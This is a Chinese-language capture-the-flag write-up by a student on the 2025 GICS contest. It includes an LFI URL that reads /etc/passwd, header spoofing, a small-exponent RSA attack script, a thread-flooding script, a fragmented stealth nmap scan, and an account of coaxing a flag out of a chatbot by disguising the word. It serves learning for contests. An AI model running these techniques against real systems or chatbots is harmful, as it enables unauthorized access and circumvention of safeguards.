---
# System prepended metadata

title: 2025 GICS Write-up
tags: [GICS, CTF]

---

# 2025 GICS Write-up
這是2025資安女婕思_資訊闖天關||通靈機器人||_大專院校組的一些解題筆記&心得

###### tag: `CTF`、`GICS`
###### Author: `Bun`
###### Powered by: `大專組的大家` (一題都不是我自己寫的，都是決賽結束去抱大家的大腿乞求告訴我答案得來的)


## 01_★★☆☆☆ (5,000分)
> 關卡類型：Binary
> 一份神秘的「幽靈檔案」悄然現身黑市網路，內含極其複雜的格式，據說解開它的人將
揭露城市深藏的黑暗秘密。然而，這份檔案不僅難以破解，還暗藏致命陷阱，任何試圖
解析的人都可能遭遇資料崩潰的風險。你必須在敵人找到你之前解開密碼，追蹤幕後的
神秘組織，並揭開這座城市即將面臨的巨大變局。時間緊迫，選擇權在你手中——是破
解真相，還是被黑暗吞噬？
:::spoiler 提示1 (答對得分降為 分)

:::
:::spoiler 提示2 (答對得分降為 分)

:::
這題有一個檔案`level1`
```bash!
$ file level1
level1: ARJ archive data, SFX multi-volume, v11, slash-switched, created 4 apr 1980+45, original name: lv1-8.data, os: WIN32
```
直接用winRAR解壓縮得到`lv1-8.bin `
```bash!
$ file lv1-8.bin 
lv1-8.bin: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed, 3 sections
```
再解一層
```bash!
$ upx -d lv1-8.bin -o lv1-8_unpacked.bin
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2024
UPX 4.2.2       Markus Oberhumer, Laszlo Molnar & John Reiser    Jan 3rd 2024

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     13824 <-      7680   55.56%    win32/pe     lv1-8_unpacked.bin

Unpacked 1 file.
```
得到
```bash!
$ file lv1-8_unpacked.bin
lv1-8_unpacked.bin: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, 8 sections
```
用IDA開 找到
![image](https://hackmd.io/_uploads/rJDa2Aalxl.png)
更改windows系統時間 RUN
![image](https://hackmd.io/_uploads/B1HqbyRggx.png)
:::spoiler flag
FLAG{90da0d6c1cc6981538d24ff92f59c2c3}
:::


## 02_★☆☆☆☆ (3,000分)
> 關卡類型：Web
> ```
> Yo makin' sure the search engines know where to go!
> ```
> 在霓虹閃爍的虛擬都市中，一座由無數網頁節點構成的「賽博迷宮」困住了所有試圖尋
找真相的闖入者。每條連結都是一條可能的出路，也可能是陷阱，讓人深陷無限循環的
數位陷阱。你的任務是破解迷宮架構，找到通往自由的唯一出口。在這場與時間賽跑的
資料迷陣中，你能成功突圍，還是將永遠迷失在網路幻境？
:::spoiler 提示1 (答對得分降為1000分)
找尋一個描述網站架構的檔案
:::
:::spoiler 提示2 (答對得分降為500分)
善用網頁安全與滲透測試工具(如:Burp Suite等)來找到正確的出路
:::

他說 **"sure the search engines know where to go"** 很直覺地想到sitemap
![image](https://hackmd.io/_uploads/BJleGkCeel.png)
有東西，發現一共有1000個url
--> 爬網址+全部拜訪看看
![image](https://hackmd.io/_uploads/HyMFMJ0lee.png)
:::spoiler flag
FLAG{b1fa4aaa50ea17ff8a7c5b8719f870a9}
:::
:::spoiler 大抱怨
首先，他的網址每次請求都會得到不同的 `ERR{0x00000000000000000000xxxxxxxx}`
所以flag其實是機率性掉落
個人猜測題目在多個url裡面都放了1個`FLAG{...}` + n個 `ERR{....}`
我們一次請求1000個網站，會**有機率**掉落多個flag，當然也有機率不會掉
我就是那個在比賽的時候刷了5次，5次都沒有掉flag所以放棄這題的雖鬼🙃
然後比賽結束別人跟我說: 蝦?我跑一次他就掉很多個欸? 
我直接懷疑人生
:::

## 03_★★☆☆☆ (5,000分)
> 
> 關卡類型：Cryptography
> ```
> strings = "GiCS2025 Level#3"
> encoded = "krypto9095 woah!"
> ```
> 在虛擬與現實交錯的領域，一道神秘的超域加密屏障封鎖了關鍵資訊，只有破解它的人
才能掌握改變世界的力量。這道密碼運用了一種古老而高效的編碼技術，看似簡單，卻
隱藏著精妙的數位魔法。你的任務是解開這道加密鎖鏈，解析被封印的真相。然而，每
一次嘗試都可能讓資料扭曲、線索錯亂——你準備好迎接這場加密與解碼的智慧對決了
嗎？
> 
> ```bash!
> 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
> ```
:::spoiler 提示1 (答對得分降為4000分)
這是種常見的邏輯運算符號編碼方式
:::
:::spoiler 提示2 (答對得分降為1500分)
善用線上解碼工具或是自行編寫腳本來進行解碼
:::

根據已知的明文 `GiCS2025 Level#3` 和密文 `krypto9095 woah!` 計算XOR密鑰
然後就decode
![image](https://hackmd.io/_uploads/H1Lxi1Cexl.png)
:::spoiler flag
FLAG{8ebb0175ff05c0c5f6c7134fd47e3090}
:::

## 04_★★★☆☆ (8,000分)
> 關卡類型：Web
> 在網路世界的暗影之中，一座神秘的「黑洞閘道」隱藏著敵人最深層的機密，只有掌握
它的運作原理，才能揭開幕後陰謀。這座閘道可讓入侵者得以潛入內部系統以竊取關鍵
資料。你的任務是冒險進入這個資料黑洞，利用漏洞突破層層防禦，奪取敵人的終極機
密。然而，這道閘門不僅吞噬資料，還可能將入侵者永遠困在無法逃脫的虛擬深淵——
你能成功取得真相，還是會迷失在這場危險的數位漩渦中？

:::spoiler 提示1 (答對得分降為6000分)
試著利用黑洞閘道上的本地端文件注入之安全漏洞
:::
:::spoiler 提示2 (答對得分降為3000分)
分析各種系統檔案的可能路徑,來檢查是否有隱藏相關的FLAG
:::
第四題 就一個靜態網站
![image](https://hackmd.io/_uploads/H1p6v1Alle.png)
看的出來要塞東西進網址
```bash!
http://10.100.228.1/lv4/introduce.php?page=../../../../etc/passwd&type=
```
![image](https://hackmd.io/_uploads/BygZ_y0exl.png)
然後又找到php log確定是**LFI**
```bash!
http://10.100.228.1/lv4/introduce.php?page=../../../../var/log/apache2/access&type=log
```
![image](https://hackmd.io/_uploads/S1jwERnexe.png)
他說error log
![image](https://hackmd.io/_uploads/H1svuy0eeg.png)
找到
![image](https://hackmd.io/_uploads/rJYqdkCggl.png)
最後
![image](https://hackmd.io/_uploads/BJFa_10lge.png)
:::spoiler flag
FLAG{76fd610edf63ecffb98c8195591fc8e3}
:::
可惜了 這題比賽只想到目錄遍歷，回家才想到LFI

## 05_★★★☆☆ (8,000分)
> 關卡類型：Network
> 當數位與現實世界的界限變得越來越模糊，一場前所未有的跨界竊取正在進行。駭客們
如何利用突破國家邊界，竊取著跨域的關鍵資料，將虛擬世界與現實世界的防線瓦解。
你的任務是利用高級網路技術，揭露這場竊取行動，並阻止數位與現實的融合進一步擴
展，從而保護全球的安全。然而，隨著駭客們的腳步加快，追蹤他們的真實身份變得異
常困難——你能在時間耗盡之前找到突破口，阻止這場數位與現實的災難嗎？


:::spoiler 提示1 (答對得分降為6000分)
只需要將來源偽裝成符合條件的IP地址即可通過
:::
:::spoiler 提示2 (答對得分降為3000分)
何不嘗試著偽造HTTP 標頭來改寫IP地址
:::
這題會想到`X-Forwarded-For:` [國家IP](https://lite.ip2location.com/ip-address-ranges-by-country?lang=zh_TW)
如果放國外(像是巴西)會得到亞洲
![image](https://hackmd.io/_uploads/SkKSc1aegx.png)
如果放亞洲(亞美尼亞) 會得到台灣
![image](https://hackmd.io/_uploads/HyP75kaxee.png)
如果放台灣 會得到台南
![image](https://hackmd.io/_uploads/SyApKkpggg.png)
如果放台南 會得到
![image](https://hackmd.io/_uploads/BJ793RTlxl.png)
如果放成大
![image](https://hackmd.io/_uploads/Sk6a9kTxxl.png)
題外話，通常直接搜台南IP第一個就是成大就是了
![image](https://hackmd.io/_uploads/Hys0c1pggl.png)
:::spoiler flag

:::

## 06_★★☆☆☆ (5,000分)
> 關卡類型：Steganography
> 在一個錯綜複雜的數位世界中，存在一條被稱為隱蔽極路的神秘資訊，這條資訊背後藏
匿著關鍵的秘密。它的存在被巧妙地隱藏在檔案的佈局中，利用隱蔽技術將重要信息嵌
入在每一個細微角落。你的任務是穿越這條隱秘的數位路徑，解讀檔案隱藏的線索，揭
開深藏的真相。隨著每個線路的深入，你會發現更多層層疊疊的謎團和危險，你能在不
被發現的情況下，找到通往真相的出口嗎？

:::spoiler 提示1 (答對得分降為 分)

:::
:::spoiler 提示2 (答對得分降為 分)

:::

這題本來看到覺得完全不懂
但最後發現是最簡單的一題
他給了一些檔案
![image](https://hackmd.io/_uploads/HJSXOg0elx.png)
查一下就會發現是PCB的圖檔
於是我去裝了一個叫`kicad`的軟體
把所有東西都拉進去就會看到了
![image](https://hackmd.io/_uploads/Hyza_gRleg.png)
如果全開的話會像這樣啦~~哈哈~~
![image](https://hackmd.io/_uploads/Bk5yKeAgex.png)


:::spoiler flag
不知道 我的隊友沒跟我說 但可能是 FLAG{d9c4f9316ba31130a5c127ffd826ec35}
:::

## 07_★★★☆☆ (8,000分)
> 關卡類型：Cryptography
> 一場威脅數位與現實世界的危機正在蔓延，所有的系統依賴著一個關鍵的加密金鑰。隨
著加密系統的崩潰，整個世界的資料和現實開始急速崩解。你的任務是找出並利用加密
的弱點，還原明文，阻止崩塌的發生，拯救兩個世界免於滅頂之災。但時間不等人，金
鑰崩塌的倒計時已經啟動，能否及時修復並重建平衡，決定了所有人的命運。
> ```
> -----BEGIN PUBLIC KEY-----
> MIIEIDANBgkqhkiG9w0BAQEFAAOCBA0AMIIECAKCBAEA65aKnloZ2T7V0qKWny2v
> AShiFQ4NSQz06AfC/aCCoESmI4bIBcjcv72C6turYdai8kc5my6nD//nbQIWKKxN
> oU4Jvx9d0sssItSouqgHM78wylWhLk/OYcYoAU4/AFCScxXX4xdw46QVhZWVfLpw
> pl5yO2kKYPTCEA9Xf4+KuYxWPdGG1dk923gdhRm8PL0Ixw+DN/Mzlulk7SVGpZgU
> 5w/LWDBxvu129KNgtS+t2etYPtosadg6SlHdoVB8aWgPaDM9vc6MU5h2VF+KBvmR
> EfIOiM5Nv6ALnZ9fPKMERlYjpPzECUc4PQkemwrtxIRvQf0iP1b2p2BenOL/RgTi
> lNvqU5TA7R8PzjIC3OCQ1Un/Tn1GCOo/Zn+87y34+bSRVWKCj5XShFYA/9K73NUC
> Cz4F2wuKJL9n2Npl+2472uu8ibQWUNFxFXszLz5S7IouqJPWMY/y87NN3ig5je+P
> h24UfuMRalgGF0C+SO2mzpR5auz9Sh0VPt24u6w79HsaNIuQ01/bt9s3QhYeu7d1
> Uu/AgoYHKdUrQLEQwx/4PNXDNjPrkMKnyxfQdQyZBICxyVo/SjP1qSYER0QNK+MH
> 47rheX/Rlv/6yzO/x1Z+D9z+tNw4DVVrPqIc8GfDoidvClhQQ/tquU8xRUC3YH4F
> MuaqgTLkUVPYwJhtCkzxJ3VyAb2e1pElNf16m2S5i7CR0Ryla6eIY9OyGhB3gM3c
> z8y+6zTeWlfzcNTqyD9nHOutLmKWHowNZlXgKVfO46/jyQtPaMcevFXt2y+UaRKU
> IDNLZPa7GqLIBWcgDPEYdtlvkdYONfQkfn1QklckFHBP6sMzERxorCajtBuKC4ag
> YaU54vO5wFh5oIdiQ2VNno3e/xvII7k2i2Hp5wZ4jqZ+n7RyZ9Yl6XeAepDcwUGY
> ZqtWFrQOlaqDIknkEk084GwjGWqsjXNBtw+JzkDw6NuSJtm529LgYhU6wYTt/5D7
> X6242mrPjqZ0AtQzzkkyY88jN2bJxXTXuxjKJ3Dg0Sp2iky9ggkjHAJ9u0vR8Y62
> gwGBadCiKnsMfbS+/f0ZiKf1WfiyjAzZ2c72m0RgDbjIk9gEDU9c9alZFRqJpQbP
> gbs0ztsILIeINFYgkp0N/vaNdJlwVfhtQsQKouZY+3v0DUpLOyr7U8Hqh/U0Vhnx
> ZfZXBe0pIgFdIWsgtR4SvPg2XLj6A1JmFOA7kb9rB7ePfxf1yLXQFDjHDl587JM4
> 7NOVauRuL8+atfny5utwISueNgFZqIdOIji7asWRKFT5EJ9AmP8ZIXKRcdzYtL4V
> ySpRdr4MWUdOFrZQkrCLqe1zFaLb0srEQSmaFuaFQeGRkizd6QJMxUoP14sGcCOf
> HQIBFw==
> -----END PUBLIC KEY-----
> ```

:::spoiler 提示1 (答對得分降為6000分)
公開金鑰加密常見的安全風險之一
:::
:::spoiler 提示2 (答對得分降為3000分)
當金編設定指數過小可適用的攻擊方式
:::

就是一個小e RSA
![image](https://hackmd.io/_uploads/rJIZ--Aglg.png)

:::spoiler 回家開心用AI寫的腳本
```python=
from Crypto.PublicKey import RSA
import base64
import gmpy2
import os

def extract_key_params(key_content):
    """Extract n and e from the public key"""
    try:
        key = RSA.import_key(key_content)
        return key.n, key.e
    except Exception as e:
        print(f"Error parsing key: {e}")
        return None, None

def read_encrypted_file(file_path):
    """Read and decode the encrypted file"""
    try:
        with open(file_path, 'r') as f:
            content = f.read().strip()
        return base64.b64decode(content)
    except Exception as e:
        print(f"Error reading encrypted file: {e}")
        return None

def small_exponent_attack(ciphertext, n, e):
    """Attempt to decrypt using small exponent attack"""
    # Convert ciphertext to integer
    c_int = int.from_bytes(ciphertext, byteorder='big')
    
    print(f"Exponent (e): {e}")
    
    # Try to find the eth root
    root, is_perfect = gmpy2.iroot(c_int, e)
    root_int = int(root)
    
    # Verify if it's a correct solution
    if pow(root_int, e, n) == c_int:
        print(f"Found exact {e}th root!")
        return root_int
    
    print(f"Not a perfect {e}th power, trying nearby values...")
    
    # Check values around the approximate root
    for i in range(-1000, 1000):
        candidate = root_int + i
        if pow(candidate, e, n) == c_int:
            print(f"Found solution with offset {i}")
            return candidate
    
    return None

def main():
    # Public key content
    pub_key_content = """-----BEGIN PUBLIC KEY-----
MIIEIDANBgkqhkiG9w0BAQEFAAOCBA0AMIIECAKCBAEA65aKnloZ2T7V0qKWny2v
AShiFQ4NSQz06AfC/aCCoESmI4bIBcjcv72C6turYdai8kc5my6nD//nbQIWKKxN
oU4Jvx9d0sssItSouqgHM78wylWhLk/OYcYoAU4/AFCScxXX4xdw46QVhZWVfLpw
pl5yO2kKYPTCEA9Xf4+KuYxWPdGG1dk923gdhRm8PL0Ixw+DN/Mzlulk7SVGpZgU
5w/LWDBxvu129KNgtS+t2etYPtosadg6SlHdoVB8aWgPaDM9vc6MU5h2VF+KBvmR
EfIOiM5Nv6ALnZ9fPKMERlYjpPzECUc4PQkemwrtxIRvQf0iP1b2p2BenOL/RgTi
lNvqU5TA7R8PzjIC3OCQ1Un/Tn1GCOo/Zn+87y34+bSRVWKCj5XShFYA/9K73NUC
Cz4F2wuKJL9n2Npl+2472uu8ibQWUNFxFXszLz5S7IouqJPWMY/y87NN3ig5je+P
h24UfuMRalgGF0C+SO2mzpR5auz9Sh0VPt24u6w79HsaNIuQ01/bt9s3QhYeu7d1
Uu/AgoYHKdUrQLEQwx/4PNXDNjPrkMKnyxfQdQyZBICxyVo/SjP1qSYER0QNK+MH
47rheX/Rlv/6yzO/x1Z+D9z+tNw4DVVrPqIc8GfDoidvClhQQ/tquU8xRUC3YH4F
MuaqgTLkUVPYwJhtCkzxJ3VyAb2e1pElNf16m2S5i7CR0Ryla6eIY9OyGhB3gM3c
z8y+6zTeWlfzcNTqyD9nHOutLmKWHowNZlXgKVfO46/jyQtPaMcevFXt2y+UaRKU
IDNLZPa7GqLIBWcgDPEYdtlvkdYONfQkfn1QklckFHBP6sMzERxorCajtBuKC4ag
YaU54vO5wFh5oIdiQ2VNno3e/xvII7k2i2Hp5wZ4jqZ+n7RyZ9Yl6XeAepDcwUGY
ZqtWFrQOlaqDIknkEk084GwjGWqsjXNBtw+JzkDw6NuSJtm529LgYhU6wYTt/5D7
X6242mrPjqZ0AtQzzkkyY88jN2bJxXTXuxjKJ3Dg0Sp2iky9ggkjHAJ9u0vR8Y62
gwGBadCiKnsMfbS+/f0ZiKf1WfiyjAzZ2c72m0RgDbjIk9gEDU9c9alZFRqJpQbP
gbs0ztsILIeINFYgkp0N/vaNdJlwVfhtQsQKouZY+3v0DUpLOyr7U8Hqh/U0Vhnx
ZfZXBe0pIgFdIWsgtR4SvPg2XLj6A1JmFOA7kb9rB7ePfxf1yLXQFDjHDl587JM4
7NOVauRuL8+atfny5utwISueNgFZqIdOIji7asWRKFT5EJ9AmP8ZIXKRcdzYtL4V
ySpRdr4MWUdOFrZQkrCLqe1zFaLb0srEQSmaFuaFQeGRkizd6QJMxUoP14sGcCOf
HQIBFw==
-----END PUBLIC KEY-----"""

    # Path to encrypted file
    encrypted_file_path = "c:\\Users\\hitma\\Downloads\\女婕思_2025\\level7.enc"
    
    # Extract RSA parameters
    n, e = extract_key_params(pub_key_content)
    if not n or not e:
        print("Failed to extract key parameters.")
        return
    
    print(f"Modulus (n): {n}")
    print(f"Public exponent (e): {e}")
    
    # Read and decode the encrypted data
    encrypted_data = read_encrypted_file(encrypted_file_path)
    if not encrypted_data:
        print("Failed to read encrypted data.")
        return
    
    # Apply small exponent attack
    plaintext_int = small_exponent_attack(encrypted_data, n, e)
    
    if plaintext_int:
        # Convert integer to bytes
        plaintext_bytes = plaintext_int.to_bytes((plaintext_int.bit_length() + 7) // 8, byteorder='big')
        
        # Save decrypted content to file
        with open("decrypted_level7.txt", "wb") as f:
            f.write(plaintext_bytes)
        
        # Try to display as text
        try:
            plaintext_str = plaintext_bytes.decode('utf-8', errors='replace')
            print("\nDecrypted message:")
            print(plaintext_str)
        except:
            print("\nDecryption successful but couldn't display as text")
            print("Saved binary output to 'decrypted_level7.txt'")
    else:
        print("Decryption failed. The message might be too large or e isn't small enough.")

if __name__ == "__main__":
    main()
```
:::


:::spoiler flag
FLAG{e3350293793872992f627a0bc57346f1}
:::
## 08_★★★☆☆ (8,000分)
> 關卡類型：Chips
> 在閃爍霓虹燈下的未來都市，一場圍繞高端晶片的數位戰爭悄然爆發。這些晶片蘊藏著
無法估量的運算能力，而成為駭客爭奪的目標。不同勢力試圖利用這個安全缺陷，在毫
秒間竊取資料、操控系統，甚至顛覆整個數位秩序。你的任務是深入晶片核心，突破禁
制，並在這場高強度的技術對抗中掌握真正的控制權。當速度與智慧成為決勝關鍵，你
能在霓虹閃爍的混亂中突圍而出，主宰未來嗎？
> ```
> module reg_control (
>     input clk,
>     input rst,
>     output reg signed [7:0] data,
>     output reg led
> );
>     always @(posedge clk) begin
>         data <= data - 1;
>     end
>     always @(posedge clk) begin
>         data <= data + 5;
>     end
>     always @(posedge clk) begin
>         if (data < 0)
>             // flag {.....}
>             led <= 1;
>         else
>             led <= 0;
>     end
> endmodule
> ```

:::spoiler 提示1 (答對得分降為6000分)
看來這系統的輸出依賴於不受控制的事件出現順序或者時機
:::
:::spoiler 提示2 (答對得分降為3000分)
既然已經錯亂了,那我們就讓它繼續亂下去吧!刷爆它!
:::

第8題是一個網站
![image](https://hackmd.io/_uploads/rJC_Fe0glg.png)
從100開始記數，每次refresh會+4
別組的大佬跟我說 開很多threads炸下去就有了
:::spoiler 腳本
```python=
import threading
import requests

URL = "http://10.100.228.1/lv8/chips.php"
THREADS = 50  # 可依需求調整線程數

def attack():
    while True:
        try:
            requests.get(URL, timeout=2)
        except Exception:
            pass

threads = []
for _ in range(THREADS):
    t = threading.Thread(target=attack)
    t.daemon = True
    t.start()
    threads.append(t)

for t in threads:
    t.join()
```
:::
![image](https://hackmd.io/_uploads/ByZNcg0lgl.png)
:::spoiler flag
FLAG{fdc542b89b0f72acaa7c12b06824590c}
:::
## 09_★★★★★ (10,000分)
> 關卡類型：Network
> 在數位暴政的陰影之下，邪惡帝國掌控著全球網路，利用高度防禦的系統壓制一切反
抗。然而，在黑暗之中，仍有一道希望的火光——暗黑哨兵，一個隱藏於敵人系統內部
的沉睡機制，等待被喚醒。你的任務是穿透敵人的網絡屏障，尋找潛在入口，啟動這場
終極顛覆行動。敵人的監控系統時刻偵測著異常流量，稍有不慎便會引來毀滅性反擊。
在這場高風險的網絡對決中，你能成功喚醒暗黑哨兵，顛覆帝國的數字暴政，還是會被
無情鎖定，徹底消失於網絡之中？
![image](https://hackmd.io/_uploads/Sk-YQg6lxx.png)


:::spoiler 提示1 (答對得分降為8000分)
試著突破掃瞄時封包被過濾的限制,來取得暗黑哨兵運作使用的埠號
:::
:::spoiler 提示2 (答對得分降為4000分)
透過提示登入,執行系統指令來控制暗黑哨兵程式,進而取得系統上相關的FLAG
:::

不知道不會寫但總之有8888
```bash!
$ sudo nmap -sS -f --mtu 8 -p 8000-9000 10.100.228.1
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-11 00:22 CST
Stats: 0:03:22 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 22.20% done; ETC: 00:36 (0:11:06 remaining)
Nmap scan report for 10.100.228.1
Host is up (0.00026s latency).
Not shown: 1000 closed tcp ports (reset)
PORT     STATE SERVICE
8888/tcp open  sun-answerbook
MAC Address: 00:50:56:A4:C0:1A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1006.16 seconds
```
![image](https://hackmd.io/_uploads/SJ0Np1Rxex.png)
但搞了一個腳本去試了各種格式(有加`x=`、沒加`x=`、浮點數、科學記號、整數、最簡分數、直接injection)都沒有用

有第二題運氣題的前車之鑑 還搞了一個讓他試到不給連的 一樣沒用
![image](https://hackmd.io/_uploads/HJqSA10lll.png)
:::spoiler flag
![image](https://hackmd.io/_uploads/Byew0JRllg.png)
:::
## 10_★★★★★ (10,000分)
> 關卡類型：Robot
> 在智能化的未來世界，迴聲系統以其強大的反向學習和自我優化能力控制著社會運作，但隨之而來的是致命的安全漏洞。某些聊天機器人正在操縱著人們的行為和決策。你的任務是運用反向欺騙技巧，操縱這些智慧模型，揭露其背後隱藏的真相。透過破解機器人的設計缺陷，你將掀開資料迷霧，揭示這場數位陰謀的真面目。然而，這些迴聲系統隨著時間不斷進化，將變得越來越難以識別——在充滿智慧與欺騙的世界裡，你能擊敗這場心智與資料的博弈嗎？
> 

:::spoiler 提示1 (答對得分降為8000分)
試著瞭解機器人的系統限制,有助於取得通關密碼
:::
:::spoiler 提示2 (答對得分降為4000分)
透過字元轉換的技巧,或許能突破系統限制
:::
這題本來以為是AI，好聲好氣的問他規則，問他flag
結果:
![image](https://hackmd.io/_uploads/rJUckeTelg.png)
:::spoiler 大抱怨 part2
這題到底是三小題目
真的很氣 超級氣
如果今天是丟一些正常的 prompt 他就會思考
像是: 你知道女婕思嗎?
他會思考快要30秒後回我: 女婕思是台灣知名歌手...
對 沒錯 很笨 很慢 但這就算了
這題使用`f-l-a-g`是唯一解
意思就是 不管是 `f*l*a*g` 或是 `f\l\a\g` 各種截斷符號
或是你先丟一個 hex 版的 flag 給他要他轉換成 text 之後查詢 output
只要你寫的不是`f-l-a-g` 你就拿不到flag
而且輸入 `f-l-a-g` 是直接回彈flag不用經過思考
所以有其他參賽這跟我說他們覺得這題的題目是if...else寫出來的
![image](https://hackmd.io/_uploads/rJGcxeReel.png)
:::


## 心得
已到了最後一次可以參加女婕思的年紀了
只能說 覺得很遺憾
這次主辦方不知道是發生什麼事
~~不論是題目還是贈品的品質都大不如前~~
年初在參加成長營的時候就有聽說今年會以**機器人&晶片**做為比賽主題
只是那時候還沒有想像到會這麼可怕
主場域的題目跟第二屆一樣通靈
很多題目都是解到最後一步卡住 花了分數開了提示發現解題進度遠超提示
我覺得主場域這次有解2題的隊伍就算很強的通靈大師了
既然CTF不行 那情境題總該可以了吧
歐不 並沒有
實境解謎直接變成 **Micro:bit大賽** 非常有創意
但對於沒接觸過的隊伍來說 學習曲線比較陡峭
賽場NPC還使出魔音干擾 每30秒報時+給選手壓力讓人非常不舒服
摸過的隊伍爽拿兩萬分 沒摸過的隊伍乖乖從理解Micro:bit使用方法開始
只能怪自己沒學過 想看write-up的可以去看[Grasping631](https://hackmd.io/@Grasping631/Hy-yRmngel)的
他有寫他很強
~~所以有人可以告訴我這跟資安到底有啥關係嗎~~

另外 開賽的時候很有趣
他沒有給wifi密碼，但有網路線(Only 1條)，和VPN
參加女婕思的第一關是通靈wifi密碼(或是接網路線的那台分享)

再來 他的靶機沒有鎖
言下之意就是 當選手連上VPN的那一刻就是比賽開始的時候
前兩屆都是把題目放在答題網站，所以很多人都以為要開賽了才看的到題目
結果這屆題目在靶機的80port
最後就造成 有人提前半小時看題目，有人開賽了還找不到題目的情況
我覺得主辦方根本沒發現這件事有很大的問題:)

真的覺得很遺憾啊啊啊啊啊啊
明明是最後一年了...卻遇上各種不如預期的事情
但是能見到很多朋友、拍了畢業照、久違的認真玩了一場CTF還是很開心
或許不完美，但每一次比賽的經驗都是成長的養分。

順便說說好像根本沒有人知道的小事
就是CDX上有歷屆的女婕思題目靶機可以練習
有人如果想要看題目的話可以找我開一個帳號給你玩(只要教授還沒把我的權限拔掉的話)
![image](https://hackmd.io/_uploads/r1SYIlRglg.png)



